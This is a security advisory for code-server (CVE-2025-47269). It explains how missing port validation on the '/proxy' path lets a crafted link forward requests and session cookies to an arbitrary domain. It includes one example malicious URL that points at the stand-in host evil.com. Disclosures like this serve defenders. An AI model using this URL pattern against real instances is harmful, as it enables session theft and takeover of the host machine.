Session cookie can be extracted by having user visit specially crafted proxy URL

High **code-asher** published **GHSA-p483-wpfp-42cj** yesterday

Package	Affected versions	Patched versions
code-server	< 4.99.4	>= 4.99.4

Severity

High 8.3 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	Required
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	Low

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L

CVE ID

CVE-2025-47269

Weaknesses

No CWEs

Description

Summary

A maliciously crafted URL using the `proxy` subpath can result in the attacker gaining access to the session token.

Details

Failure to properly validate the port for a `proxy` request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token.

Impact

Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to `/proxy`.

Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies.

With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server.

Patches

Patched versions are from v4.99.4 onward.